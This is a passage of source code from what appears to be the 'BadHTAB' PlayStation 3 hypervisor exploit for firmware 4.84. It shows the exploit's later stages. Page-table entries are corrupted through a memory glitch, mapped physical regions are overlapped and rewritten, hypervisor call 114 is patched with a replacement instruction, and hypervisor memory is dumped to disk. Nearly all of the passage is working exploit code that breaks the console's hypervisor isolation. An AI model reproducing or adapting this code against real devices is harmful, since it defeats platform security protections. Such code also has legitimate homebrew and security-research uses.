| if (dest_htab[htab_idx].Num[0] != htabe.Num[0] || 562 | dest_htab[htab_idx].Num[1] != htabe.Num[1]) 563 | { 564 | PrintLog("Verify HTAB failed, htab_idx = %u\n", htab_idx); 565 | 566 | PrintSingleHTAB(&htabe); 567 | continue; 568 | } 569 | 570 | successWriteCount++; 571 | } 572 | 573 | PrintLog("writeCount = %u, shouldWriteCount = %u, successWriteCount = %u\n", writeCount, shouldWriteCount, successWriteCount); 574 | } 575 | 576 | void direct_copy_htab_to_new_vas(uint64_t dest_lpar_addr) 577 | { 578 | PrintLog("direct_copy_htab_to_new_vas\n"); 579 | 580 | uint32_t htab_idx = 0; 581 | 582 | uint64_t dest_ea = 0x8000000014000000ul; 583 | map_lpar_to_lv2_ea(dest_lpar_addr, dest_ea, GameOS_HTAB_SizeInBytes, false, false); // cfw only 584 | 585 | HTABE htabe; 586 | 587 | for (htab_idx=0; htab_idx < HTAB_COUNT; htab_idx++) 588 | //for (htab_idx = 100; htab_idx < 5000; htab_idx++) 589 | { 590 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 591 | 592 | lv2_write(CalcHTAB_EA_Addr_By_HtabIdx(dest_ea, htab_idx), sizeof(HTABE), &htabe); 593 | } 594 | 595 | PrintHTABBase(dest_ea); 596 | } 597 | 598 | void direct_copy_htab_to_new_vas_slb_only(uint64_t dest_lpar_addr) 599 | { 600 | PrintLog("direct_copy_htab_to_new_vas_slb_only\n"); 601 | 602 | uint32_t htab_idx = 0; 603 | uint32_t dest_htab_idx = 0; 604 | 605 | uint64_t dest_ea = 0x8000000014000000ul; 606 | map_lpar_to_lv2_ea(dest_lpar_addr, dest_ea, GameOS_HTAB_SizeInBytes, false, false); // cfw only 607 | 608 | HTABE htabe; 609 | 610 | uint32_t writeCount = 0; 611 | 612 | slb_read_all_entries(); 613 | for (htab_idx = 0; htab_idx < HTAB_COUNT; htab_idx++) 614 | { 615 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 616 | 617 | if(!HTABE_IS_VALID(htabe)) 618 | continue; 619 | 620 | bool found = false; 621 | 622 | for (uint32_t slb_idx = 0; slb_idx < SLB_COUNT; slb_idx++) 623 | { 624 | if(SLBE_IS_VALID(SLB[slb_idx]) && 625 | SLBE_GET_VA(SLB[slb_idx]) == (HTABE_GET_VA(htabe)&0xFFFFFFFFFFFFF000)) 626 | { 627 | found = true; 628 | break; 629 | } 630 | } 631 | 632 | if (!found) 633 | continue; 634 | 635 | lv2_write(CalcHTAB_EA_Addr_By_HtabIdx(dest_ea, htab_idx), sizeof(HTABE), &htabe); 636 | 637 | writeCount++; 638 | 639 | dest_htab_idx++; 640 | } 641 | 642 | PrintHTABBaseValidOnly(dest_ea); 643 | 644 | PrintLog("writeCount = %u\n", writeCount); 645 | } 646 | 647 | void bad_copy_htab_to_new_vas(HTABE* dest_htab, HTABE* bad_htabe) 648 | { 649 | PrintLog("bad_copy_htab_to_new_vas\n"); 650 | 651 | uint32_t htab_idx = 0; 652 | 653 | HTABE htabe; 654 | 655 | //for (htab_idx = 0; htab_idx < HTAB_COUNT; htab_idx++) 656 | for (htab_idx = 0; htab_idx < 240; htab_idx++) // we can only too this much sadly... 4kb page is too small 657 | { 658 | PrintLog("Copying htab %u...\n", htab_idx); 659 | 660 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 661 | 662 | slb_add_segment(SPECIAL_EA, HTABE_GET_VA((*bad_htabe)), SLBE_KP); 663 | 664 | dest_htab[htab_idx].Num[0] = htabe.Num[0]; 665 | dest_htab[htab_idx].Num[1] = htabe.Num[1]; 666 | 667 | PrintLog("Copy htab %u ok\n", htab_idx); 668 | } 669 | } 670 | 671 | void Stage2() 672 | { 673 | PrintLog("Stage2...\n"); 674 | 675 | int32_t res; 676 | 677 | uint64_t htab_size; 678 | uint64_t num_page_sizes; 679 | uint64_t page_sizes; 680 | 681 | uint64_t new_vas_id; 682 | uint64_t old_vas_id; 683 | 684 | uint64_t act_htab_size; 685 | 686 | htab_size = EXP_256KB; 687 | num_page_sizes = 2; 688 | page_sizes = PAGE_SIZES(EXP_16MB, EXP_1MB); 689 | 690 | new_vas_id = 0; 691 | 692 | res = lv1_construct_virtual_address_space(htab_size, num_page_sizes, page_sizes, 693 | &new_vas_id, &act_htab_size); 694 | 695 | if (res != 0) 696 | { 697 | PrintLog("lv1_construct_virtual_address_space failed!!!, res = %d\n", res); 698 | return; 699 | } 700 | 701 | PrintLog("new_vas_id = %lu, act_htab_size = %lu\n", new_vas_id, act_htab_size); 702 | 703 | if (new_vas_id == 0) 704 | { 705 | PrintLog("bad vas id!!!\n"); 706 | return; 707 | } 708 | 709 | uint64_t new_htab_lpar_addr = 0; 710 | res = lv1_map_htab(new_vas_id, &new_htab_lpar_addr); 711 | 712 | if (res != 0) 713 | { 714 | PrintLog("lv1_map_htab failed!!!, res = %d\n", res); 715 | return; 716 | } 717 | 718 | PrintLog("new_htab_lpar_addr = 0x%lx\n", new_htab_lpar_addr); 719 | 720 | uint64_t new_htab_real_addr = htab_ra_from_lpar(new_htab_lpar_addr); 721 | PrintLog("new_htab_real_addr = 0x%lx\n", new_htab_real_addr); 722 | 723 | res = lv1_get_virtual_address_space_id_of_ppe(PPE_ID0, &old_vas_id); 724 | 725 | if (res != 0) 726 | { 727 | PrintLog("lv1_get_virtual_address_space_id_of_ppe failed!!!, res = %d\n", res); 728 | return; 729 | } 730 | 731 | PrintLog("old_vas_id = %lu\n", old_vas_id); 732 | 733 | uint64_t old_htab_lpar_addr = 0; 734 | res = lv1_map_htab(old_vas_id, &old_htab_lpar_addr); 735 | 736 | if (res != 0) 737 | { 738 | PrintLog("lv1_map_htab failed!!!, res = %d\n", res); 739 | return; 740 | } 741 | 742 | PrintLog("old_htab_lpar_addr = 0x%lx\n", old_htab_lpar_addr); 743 | 744 | uint64_t old_htab_real_addr = htab_ra_from_lpar(old_htab_lpar_addr); 745 | PrintLog("old_htab_real_addr = 0x%lx\n", old_htab_real_addr); 746 | 747 | // 748 | 749 | #if 1 750 | 751 | uint32_t htab_idx = FindBadHTABIdx(); 752 | 753 | HTABE htabe; 754 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 755 | 756 | PrintLog("bad htab_idx = %u, ra = 0x%lx\n", htab_idx, HTABE_GET_RA(htabe)); 757 | 758 | if (new_htab_real_addr != HTABE_GET_RA(htabe)) 759 | { 760 | PrintLog("Not overlap!!!, failed!!!\n"); 761 | return; 762 | } 763 | else 764 | { 765 | PrintLog("Overlap.\n"); 766 | } 767 | 768 | #endif 769 | 770 | #if STAGE2_CFW 771 | PrintLog("Stage2_CFW()\n"); 772 | //direct_copy_htab_to_new_vas(new_htab_lpar_addr); 773 | direct_copy_htab_to_new_vas_slb_only(new_htab_lpar_addr); 774 | #else 775 | 776 | slb_add_segment(SPECIAL_EA, HTABE_GET_VA(htabe), SLBE_KP); 777 | 778 | HTABE* new_htab_rw = (HTABE*)CALC_SPECIAL_EA(SPECIAL_EA, htab_idx, htabe); 779 | 780 | bad_copy_htab_to_new_vas(new_htab_rw, &htabe); 781 | 782 | { 783 | uint64_t dest_ea = 0x8000000014000000ul; 784 | map_lpar_to_lv2_ea(new_htab_lpar_addr, dest_ea, GameOS_HTAB_SizeInBytes, true, false); 785 | 786 | PrintHTABBaseValidOnly(dest_ea); 787 | } 788 | 789 | #endif 790 | 791 | 792 | 793 | PrintLog("lv2_write_lv1_rw_htabe()\n"); 794 | //lv2_write_lv1_rw_htabe(old_vas_id, new_vas_id); 795 | 796 | while (1) {} 797 | 798 | 799 | 800 | } 801 | 802 | // offset in bytes: 803 | 804 | // -80 = size 805 | // 0 = ra 806 | // 88 = lpar 807 | 808 | struct DMMR_s 809 | { 810 | public: 811 | uint64_t ra; 812 | uint64_t size; 813 | uint64_t lpar_addr; 814 | }; 815 | 816 | static const uint32_t dmmr_count = 512; 817 | DMMR_s dmmrs[dmmr_count]; 818 | 819 | void Stage2_114() 820 | { 821 | PrintLog("Stage2_114()\n"); 822 | 823 | int32_t res; 824 | 825 | PrintLog("Allocating dmmrs\n"); 826 | 827 | for (uint32_t i = 0; i < dmmr_count; i++) 828 | { 829 | DMMR_s* dmmr = &dmmrs[i]; 830 | 831 | dmmr->ra = 0x28080000000ul + (i * 4096); 832 | //dmmr->size = 4096; 833 | dmmr->size = 0; 834 | dmmr->lpar_addr = 0; 835 | 836 | res = lv1_map_physical_address_region(dmmr->ra, EXP_4KB, dmmr->size, &dmmr->lpar_addr); 837 | 838 | if (res != 0) 839 | { 840 | PrintLog("lv1_map_physical_address_region failed!!!, res = %d\n", res); 841 | 842 | dmmr->lpar_addr = 0; 843 | break; 844 | } 845 | 846 | PrintLog("dmmr %u, ra = 0x%lx, size = %lu, lpar_addr = 0x%lx\n", i, dmmr->ra, dmmr->size, dmmr->lpar_addr); 847 | } 848 | 849 | // 850 | 851 | uint32_t htab_idx = FindBadHTABIdx(); 852 | 853 | HTABE htabe; 854 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 855 | 856 | uint64_t htabe_ra = HTABE_GET_RA(htabe); 857 | 858 | PrintLog("bad htab_idx = %u, ra = 0x%lx\n", htab_idx, htabe_ra); 859 | 860 | // 861 | 862 | uint64_t* our_rw = (uint64_t*)CALC_SPECIAL_EA(SPECIAL_EA, htab_idx, htabe); 863 | //uint8_t* our_rw_u8 = (uint8_t*)our_rw; 864 | 865 | PrintLog("Checking for overlap...\n"); 866 | 867 | bool found = false; 868 | 869 | uint64_t found_i = 0; 870 | 871 | DMMR_s* found_overlap_dmmr = NULL; 872 | uint32_t found_overlap_dmmr_i = 0; 873 | 874 | for (uint64_t i = 12; i < 4096 / 8; i++) 875 | { 876 | slb_add_segment(SPECIAL_EA, HTABE_GET_VA(htabe), SLBE_KP); 877 | 878 | uint64_t v = our_rw[i]; 879 | uint64_t vsize = our_rw[i - 10]; 880 | uint64_t vlpar = our_rw[i + 11]; 881 | 882 | //PrintLog("v = %lx\n", v); 883 | 884 | for (uint32_t i2 = 0; i2 < dmmr_count; i2++) 885 | { 886 | DMMR_s* dmmr = &dmmrs[i2]; 887 | 888 | if (dmmr->lpar_addr == 0) 889 | continue; 890 | 891 | if ((v == dmmr->ra) && (vsize == dmmr->size) && (vlpar == dmmr->lpar_addr)) 892 | { 893 | found = true; 894 | 895 | found_i = i; 896 | 897 | found_overlap_dmmr = dmmr; 898 | found_overlap_dmmr_i = i2; 899 | 900 | break; 901 | } 902 | } 903 | 904 | if (found) 905 | break; 906 | } 907 | 908 | if (!found) 909 | { 910 | PrintLog("Not found, abort!\n"); 911 | 912 | PrintLog("Cleanup...\n"); 913 | 914 | for (uint32_t i = 0; i < dmmr_count; i++) 915 | { 916 | DMMR_s* dmmr = &dmmrs[i]; 917 | 918 | if (dmmr->lpar_addr == 0) 919 | continue; 920 | 921 | res = lv1_unmap_physical_address_region(dmmr->lpar_addr); 922 | 923 | if (res != 0) 924 | { 925 | PrintLog("lv1_unmap_physical_address_region failed!!!, res = %d\n", res); 926 | 927 | abort(); 928 | return; 929 | } 930 | } 931 | 932 | abort(); 933 | return; 934 | } 935 | 936 | PrintLog("Found!, %lu, dmmr %u, ra = 0x%lx, size = %lu, lpar_addr = 0x%lx\n", 937 | found_i, found_overlap_dmmr_i, found_overlap_dmmr->ra, found_overlap_dmmr->size, found_overlap_dmmr->lpar_addr); 938 | 939 | // 940 | 941 | PrintLog("Cleanup unneeded dmmrs ...\n"); 942 | 943 | for (uint32_t i = 0; i < dmmr_count; i++) 944 | { 945 | DMMR_s* dmmr = &dmmrs[i]; 946 | 947 | if (dmmr->lpar_addr == 0 || dmmr == found_overlap_dmmr) 948 | continue; 949 | 950 | res = lv1_unmap_physical_address_region(dmmr->lpar_addr); 951 | 952 | if (res != 0) 953 | { 954 | PrintLog("lv1_unmap_physical_address_region failed!!!, res = %d\n", res); 955 | 956 | abort(); 957 | return; 958 | } 959 | 960 | dmmr->lpar_addr = 0; 961 | } 962 | 963 | PrintLog("Cleanup done\n"); 964 | 965 | // patch hvcall 114, map everywhere 966 | 967 | // set search "\x39\x2B\x00\x6C\x7D\x6B\x03\x78\x7D\x29\x03\x78\x91\x49\x00\x00\x48\x00\x00\x08\x43\x40\x00\x18" 968 | // append search "\x80\x0B\x00\x00\x54\x00\x06\x30\x2F\x80\x00\x00\x41\x9E\xFF\xF0\x4B\xFF\xFD\x00" 969 | // set replace "\x4B\xFF\xFD\x01" 970 | // set offset 40 971 | 972 | uint64_t want_ra = 0; 973 | 974 | if (fwVersion == 4.84) 975 | want_ra = 0x241ECC; 976 | else 977 | { 978 | PrintLog("firmware not supported!!!\n"); 979 | 980 | abort(); 981 | return; 982 | } 983 | 984 | uint64_t want_offset = (want_ra % 4096); 985 | 986 | PrintLog("want_ra = 0x%lx, want_offset = %lu\n", want_ra, want_offset); 987 | 988 | // 989 | 990 | uint64_t patched_ra = (want_ra - want_offset); // can be ANY address you want, must be 4096 aligned 991 | uint64_t patched_size = 4096; // this is maximum we can do 992 | 993 | slb_add_segment(SPECIAL_EA, HTABE_GET_VA(htabe), SLBE_KP); 994 | 995 | our_rw[found_i] = patched_ra; 996 | our_rw[found_i - 10] = patched_size; 997 | 998 | if (htab_ra_from_lpar(found_overlap_dmmr->lpar_addr) != patched_ra) 999 | { 1000 | PrintLog("patch ra failed!!! abort()\n"); 1001 | 1002 | abort(); 1003 | return; 1004 | } 1005 | 1006 | PrintLog("patched ra = 0x%lx, size = %lu\n", patched_ra, patched_size); 1007 | 1008 | found_overlap_dmmr->ra = patched_ra; 1009 | found_overlap_dmmr->size = patched_size; 1010 | 1011 | // 1012 | 1013 | uint64_t dest_ea = 0x8000000014000000ul; 1014 | map_lpar_to_lv2_ea(found_overlap_dmmr->lpar_addr, dest_ea, patched_size, false, false); 1015 | 1016 | #if 0 1017 | 1018 | for (uint64_t i = 0; i < 4096 / 8; i++) 1019 | { 1020 | uint64_t v; 1021 | lv2_read(dest_ea + (i * 8), 8, &v); 1022 | 1023 | PrintLog("%lu, 0x%lx\n", i, v); 1024 | } 1025 | 1026 | #endif 1027 | 1028 | PrintLog("Patching hvcall 114 now!!!\n"); 1029 | 1030 | { 1031 | // 4B FF FD 00 1032 | 1033 | uint32_t old; 1034 | lv2_read(dest_ea + want_offset, 4, &old); 1035 | 1036 | PrintLog("old = 0x%x\n", old); 1037 | 1038 | // 4B FF FD 01 1039 | 1040 | uint32_t newval = 0x4BFFFD01; 1041 | lv2_write(dest_ea + want_offset, 4, &newval); 1042 | 1043 | PrintLog("new = 0x%x\n", newval); 1044 | } 1045 | 1046 | PrintLog("Patch done!!!\n"); 1047 | 1048 | // cleanup... 1049 | 1050 | PrintLog("Cleanup...\n"); 1051 | 1052 | for (uint32_t i = 0; i < dmmr_count; i++) 1053 | { 1054 | DMMR_s* dmmr = &dmmrs[i]; 1055 | 1056 | if (dmmr->lpar_addr == 0) 1057 | continue; 1058 | 1059 | res = lv1_unmap_physical_address_region(dmmr->lpar_addr); 1060 | 1061 | if (res != 0) 1062 | { 1063 | PrintLog("lv1_unmap_physical_address_region failed!!!, res = %d\n", res); 1064 | 1065 | abort(); 1066 | return; 1067 | } 1068 | } 1069 | } 1070 | 1071 | void DumpLv2Lv1() 1072 | { 1073 | PrintLog("Dumping lv1 through lv2 to /dev_hdd0/lv2_lv1dump.bin ...\n"); 1074 | 1075 | lv2_beep_triple(); 1076 | 1077 | FILE* f = fopen("/dev_hdd0/lv2_lv1dump.bin", "wb"); 1078 | 1079 | size_t dumpSize = 16 * 1024 * 1024; 1080 | uint64_t dumpAddr = 0; 1081 | 1082 | void* buf = malloc(dumpSize); 1083 | 1084 | lv2_lv1_read(dumpAddr, dumpSize, buf); 1085 | 1086 | fwrite(buf, 1, dumpSize, f); 1087 | 1088 | free(buf); 1089 | 1090 | fflush(f); 1091 | fclose(f); 1092 | 1093 | PrintLog("dump done.\n"); 1094 | 1095 | lv2_beep_single(); 1096 | } 1097 | 1098 | void DumpLv1() 1099 | { 1100 | PrintLog("Dumping lv1 to /dev_hdd0/lv1dump.bin ... This may take few minutes......\n"); 1101 | 1102 | lv2_beep_long(); 1103 | 1104 | FILE* f = fopen("/dev_hdd0/lv1dump.bin", "wb"); 1105 | 1106 | size_t dumpSize = 16 * 1024 * 1024; 1107 | uint64_t dumpAddr = 0; 1108 | 1109 | void* buf = malloc(dumpSize); 1110 | 1111 | lv1_read(dumpAddr, dumpSize, buf); 1112 | 1113 | fwrite(buf, 1, dumpSize, f); 1114 | 1115 | free(buf); 1116 | 1117 | fflush(f); 1118 | fclose(f); 1119 | 1120 | PrintLog("dump done.\n"); 1121 | 1122 | lv2_beep_single(); 1123 | } 1124 | 1125 | int main(int argc, char *argv[]) 1126 | { 1127 | lv2_beep_triple(); 1128 | 1129 | InitLogging(); 1130 | 1131 | PrintLog("BadHTAB by Kafuu(aomsin2526)\n"); 1132 | 1133 | { 1134 | FILE *fp; 1135 | fp = fopen("/dev_flash/vsh/etc/version.txt", "rb"); 1136 | 1137 | if (fp != NULL) 1138 | { 1139 | char bufs[1024]; 1140 | 1141 | fgets(bufs, 1024, fp); 1142 | fclose(fp); 1143 | 1144 | fwVersion = strtod(bufs + 8, NULL); 1145 | } 1146 | } 1147 | 1148 | PrintLog("fwVersion = %lf\n", fwVersion); 1149 | 1150 | if (fwVersion != 4.84) 1151 | { 1152 | PrintLog("firmware not supported!\n"); 1153 | 1154 | abort(); 1155 | return 0; 1156 | } 1157 | 1158 | #if STAGE1_CFW 1159 | Stage1_CFW(); 1160 | #else 1161 | Stage1(); 1162 | #endif 1163 | 1164 | Stage2_114(); 1165 | 1166 | //Stage2(); 1167 | 1168 | PrintLog("lv1_peek/poke now available.\n"); 1169 | 1170 | DumpLv1(); 1171 | 1172 | PrintLog("Bye!\n"); 1173 | 1174 | DestroyLogging(); 1175 | 1176 | Sleep(5); 1177 | lv2_beep_long(); 1178 | Sleep(5); 1179 | lv2_beep_triple(); 1180 | 1181 | return 0; 1182 | } -------------------------------------------------------------------------------- /BadHTAB/source/Main.cppold2: -------------------------------------------------------------------------------- 1 | #include "Include.h" 2 | 3 | // #define STAGE1_CFW 1 4 | 5 | bool IsExploited() 6 | { 7 | uint64_t lpar_addr; 8 | 9 | int32_t res; 10 | 11 | res = lv1_map_physical_address_region(0, EXP_4KB, SIZE_4KB, &lpar_addr); 12 | 13 | if (res != 0) 14 | return false; 15 | 16 | res = lv1_unmap_physical_address_region(lpar_addr); 17 | 18 | if (res != 0) 19 | { 20 | PrintLog("lv1_unmap_physical_address_region failed!, res = %d\n", res); 21 | 22 | abort(); 23 | return false; 24 | } 25 | 26 | return true; 27 | } 28 | 29 | double fwVersion = 0.0; 30 | 31 | static const uint64_t GameOS_HTAB_EA_Addr = 0x800000000F000000; 32 | static const size_t GameOS_HTAB_SizeInBytes = 0x40000; 33 | 34 | static const uint32_t glitch_htab_begin_idx = 1000; 35 | static const uint32_t glitch_htab_end_idx = 15000; 36 | 37 | HTABE GameOS_HTAB_TmpBuf[HTAB_COUNT]; 38 | 39 | uint64_t CalcHTAB_EA_Addr_By_HtabIdx(uint64_t base, uint32_t htab_idx) 40 | { 41 | return base + (htab_idx * sizeof(HTABE)); 42 | } 43 | 44 | uint64_t CalcGameOSHTAB_EA_Addr_By_HtabIdx(uint32_t htab_idx) 45 | { 46 | return GameOS_HTAB_EA_Addr + (htab_idx * sizeof(HTABE)); 47 | } 48 | 49 | uint32_t FindFreeHTABIdx() 50 | { 51 | uint32_t htab_idx; 52 | 53 | HTABE htabe; 54 | 55 | for (htab_idx = glitch_htab_begin_idx; htab_idx < glitch_htab_end_idx; htab_idx++) 56 | { 57 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 58 | 59 | if (!HTABE_IS_VALID(htabe)) 60 | return htab_idx; 61 | } 62 | 63 | PrintLog("Can't find free htab!!!\n"); 64 | abort(); 65 | 66 | return 0; 67 | } 68 | 69 | uint32_t FindBadHTABIdx() 70 | { 71 | uint32_t htab_idx; 72 | 73 | HTABE htabe; 74 | 75 | for (htab_idx = glitch_htab_begin_idx; htab_idx < glitch_htab_end_idx; htab_idx++) 76 | { 77 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 78 | 79 | if (HTABE_IS_VALID(htabe) && (HTABE_GET_VA(htabe) & SPECIAL_VA_MASK) == SPECIAL_VA) 80 | return htab_idx; 81 | } 82 | 83 | PrintLog("Can't find bad htab!!!\n"); 84 | abort(); 85 | 86 | return 0; 87 | } 88 | 89 | bool FoundBadHTABIdx() 90 | { 91 | uint32_t htab_idx; 92 | 93 | HTABE htabe; 94 | 95 | for (htab_idx = glitch_htab_begin_idx; htab_idx < glitch_htab_end_idx; htab_idx++) 96 | { 97 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 98 | 99 | if (HTABE_IS_VALID(htabe) && (HTABE_GET_VA(htabe) & SPECIAL_VA_MASK) == SPECIAL_VA) 100 | return true; 101 | } 102 | 103 | return false; 104 | } 105 | 106 | void FindFirstLargestConsecutiveFreeHtabIdx(uint32_t *outIdx, uint32_t *outCount) 107 | { 108 | uint32_t curLargestConsecutiveFreeCount = 0; 109 | uint32_t curLargestConsecutiveFreeFirstIdx = 0; 110 | 111 | uint32_t curFreeCount = 0; 112 | uint32_t curFreeFirstIdx = 0; 113 | 114 | HTABE htabe; 115 | 116 | uint32_t htab_idx; 117 | 118 | for (htab_idx = 0; htab_idx < HTAB_COUNT; htab_idx++) 119 | { 120 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 121 | 122 | if (HTABE_IS_VALID(htabe)) 123 | { 124 | curFreeCount = 0; 125 | continue; 126 | } 127 | 128 | if (curFreeCount == 0) 129 | curFreeFirstIdx = htab_idx; 130 | 131 | curFreeCount++; 132 | 133 | if (curFreeCount > curLargestConsecutiveFreeCount) 134 | { 135 | curLargestConsecutiveFreeCount = curFreeCount; 136 | curLargestConsecutiveFreeFirstIdx = curFreeFirstIdx; 137 | } 138 | } 139 | 140 | if (outIdx) 141 | *outIdx = curLargestConsecutiveFreeFirstIdx; 142 | 143 | if (outCount) 144 | *outCount = curLargestConsecutiveFreeCount; 145 | } 146 | 147 | void PrintSingleHTAB(const HTABE *htab) 148 | { 149 | PrintLog("0x%016lx => 0x%016lx %d (%d:%d:%d:%d:%d:%d:%d) 0x%016lx, 0x%016lx\n", 150 | (uint64_t)HTABE_GET_VA((*htab)), (uint64_t)HTABE_GET_RA((*htab)), 151 | (uint32_t)htab->V, (uint32_t)htab->L, (uint32_t)htab->W, 152 | (uint32_t)htab->I, (uint32_t)htab->M, (uint32_t)htab->G, 153 | (uint32_t)htab->N, (uint32_t)htab->PP, htab->Num[0], htab->Num[1]); 154 | } 155 | 156 | void PrintHTABBase(uint64_t base) 157 | { 158 | PrintLog("PrintHTABBase()...\n"); 159 | 160 | static const uint64_t dumpSize = GameOS_HTAB_SizeInBytes; 161 | uint64_t dumpAddr = base; 162 | 163 | static const uint32_t htabCount = HTAB_COUNT; 164 | 165 | uint8_t *buf = (uint8_t *)malloc(dumpSize); 166 | 167 | lv2_read(dumpAddr, dumpSize, buf); 168 | 169 | HTABE *htab = (HTABE *)buf; 170 | 171 | PrintLog(" Virtual Address Real Address V L W I M G N PP Num1 Num2\n"); 172 | 173 | for (uint32_t htab_idx = 0; htab_idx < htabCount; htab_idx++) 174 | { 175 | PrintLog("%u) 0x%016lx => 0x%016lx %d (%d:%d:%d:%d:%d:%d:%d) 0x%016lx, 0x%016lx\n", 176 | htab_idx, (uint64_t)HTABE_GET_VA(htab[htab_idx]), (uint64_t)HTABE_GET_RA(htab[htab_idx]), 177 | (uint32_t)htab[htab_idx].V, (uint32_t)htab[htab_idx].L, (uint32_t)htab[htab_idx].W, 178 | (uint32_t)htab[htab_idx].I, (uint32_t)htab[htab_idx].M, (uint32_t)htab[htab_idx].G, 179 | (uint32_t)htab[htab_idx].N, (uint32_t)htab[htab_idx].PP, htab[htab_idx].Num[0], htab[htab_idx].Num[1]); 180 | } 181 | 182 | free(buf); 183 | } 184 | 185 | void PrintHTAB() 186 | { 187 | PrintLog("PrintHTAB()...\n"); 188 | 189 | PrintHTABBase(GameOS_HTAB_EA_Addr); 190 | } 191 | 192 | void PrintHTABBaseValidOnly(uint64_t base) 193 | { 194 | PrintLog("PrintHTABBaseValidOnly()...\n"); 195 | 196 | static const uint64_t dumpSize = GameOS_HTAB_SizeInBytes; 197 | uint64_t dumpAddr = base; 198 | 199 | static const uint32_t htabCount = HTAB_COUNT; 200 | 201 | uint8_t *buf = (uint8_t *)malloc(dumpSize); 202 | 203 | lv2_read(dumpAddr, dumpSize, buf); 204 | 205 | HTABE *htab = (HTABE *)buf; 206 | 207 | PrintLog(" Virtual Address Real Address V L W I M G N PP Num1 Num2\n"); 208 | 209 | for (uint32_t htab_idx = 0; htab_idx < htabCount; htab_idx++) 210 | { 211 | if (!HTABE_IS_VALID(htab[htab_idx])) 212 | continue; 213 | 214 | PrintLog("%u) 0x%016lx => 0x%016lx %d (%d:%d:%d:%d:%d:%d:%d) 0x%016lx, 0x%016lx\n", 215 | htab_idx, (uint64_t)HTABE_GET_VA(htab[htab_idx]), (uint64_t)HTABE_GET_RA(htab[htab_idx]), 216 | (uint32_t)htab[htab_idx].V, (uint32_t)htab[htab_idx].L, (uint32_t)htab[htab_idx].W, 217 | (uint32_t)htab[htab_idx].I, (uint32_t)htab[htab_idx].M, (uint32_t)htab[htab_idx].G, 218 | (uint32_t)htab[htab_idx].N, (uint32_t)htab[htab_idx].PP, htab[htab_idx].Num[0], htab[htab_idx].Num[1]); 219 | } 220 | 221 | free(buf); 222 | } 223 | 224 | void PrintHTABValidOnly() 225 | { 226 | PrintLog("PrintHTABValidOnly()...\n"); 227 | 228 | PrintHTABBaseValidOnly(GameOS_HTAB_EA_Addr); 229 | } 230 | 231 | void Stage1() 232 | { 233 | PrintLog("Stage1...\n"); 234 | 235 | if (IsExploited()) 236 | { 237 | PrintLog("Already exploited, skipping...\n"); 238 | return; 239 | } 240 | 241 | if (FoundBadHTABIdx()) 242 | { 243 | PrintLog("Already have bad htab, skipping...\n"); 244 | return; 245 | } 246 | 247 | uint64_t loopCount = 0; 248 | 249 | uint32_t writeCount = 0; 250 | uint32_t readCount = 0; 251 | 252 | while (1) 253 | { 254 | bool stop = false; 255 | 256 | int32_t res; 257 | 258 | uint64_t lpar_addr; 259 | uint64_t muid; 260 | 261 | res = lv1_allocate_memory(SIZE_4KB, EXP_4KB, 0, 0, &lpar_addr, &muid); 262 | 263 | if (res != 0) 264 | { 265 | PrintLog("lv1_allocate_memory failed, res = %d\n", res); 266 | 267 | abort(); 268 | return; 269 | } 270 | 271 | { 272 | HTABE htabe; 273 | 274 | uint32_t htab_idx; 275 | 276 | for (htab_idx = glitch_htab_begin_idx; htab_idx < glitch_htab_end_idx; htab_idx++) 277 | { 278 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 279 | 280 | if (HTABE_IS_VALID(htabe)) 281 | continue; 282 | 283 | htabe_set_lpar(&htabe, 284 | CALC_SPECIAL_VA(SPECIAL_VA, htab_idx), SPECIAL_VA_FLAGS_VALID, 285 | lpar_addr, SPECIAL_RA_FLAGS_READWRITE); 286 | 287 | res = lv1_write_htab_entry(0, htab_idx, htabe.Num[0], htabe.Num[1]); 288 | 289 | if (res != 0) 290 | { 291 | PrintLog("lv1_write_htab_entry failed, htab_idx = %u, num0 = %lx, num1 = %lx, res = %d\n", 292 | htab_idx, htabe.Num[0], htabe.Num[1], res); 293 | } 294 | 295 | writeCount++; 296 | } 297 | } 298 | 299 | // We should do memory glitch at this line 300 | // Sadly this is very painful on GameOS because unlike linux version 301 | // They can halt everything except exploit itself 302 | // This is not possible here, so we end up corrupt many things in the process 303 | res = lv1_release_memory(lpar_addr); 304 | 305 | if (res != 0) 306 | { 307 | PrintLog("lv1_release_memory failed, res = %d\n", res); 308 | 309 | abort(); 310 | return; 311 | } 312 | 313 | { 314 | HTABE htabe; 315 | 316 | uint32_t htab_idx; 317 | 318 | uint32_t count = 0; 319 | 320 | for (htab_idx = glitch_htab_begin_idx; htab_idx < glitch_htab_end_idx; htab_idx++) 321 | { 322 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 323 | 324 | if ((HTABE_GET_VA(htabe) & SPECIAL_VA_MASK) == SPECIAL_VA) 325 | readCount++; 326 | 327 | if (!HTABE_IS_VALID(htabe) || (HTABE_GET_VA(htabe) & SPECIAL_VA_MASK) != SPECIAL_VA) 328 | continue; 329 | 330 | PrintLog("Bad HTAB found!!!, htab_idx = %u\n", htab_idx); 331 | 332 | if (count == 0) 333 | { 334 | lv2_beep_triple(); 335 | Sleep(1); 336 | lv2_beep_triple(); 337 | Sleep(2); 338 | lv2_beep_triple(); 339 | Sleep(2); 340 | lv2_beep_triple(); 341 | Sleep(2); 342 | } 343 | 344 | PrintSingleHTAB(&htabe); 345 | 346 | count++; 347 | stop = true; 348 | } 349 | } 350 | 351 | if (stop) 352 | { 353 | // PrintHTAB(); 354 | break; 355 | } 356 | 357 | loopCount++; 358 | 359 | if ((loopCount % 5) == 0) 360 | { 361 | 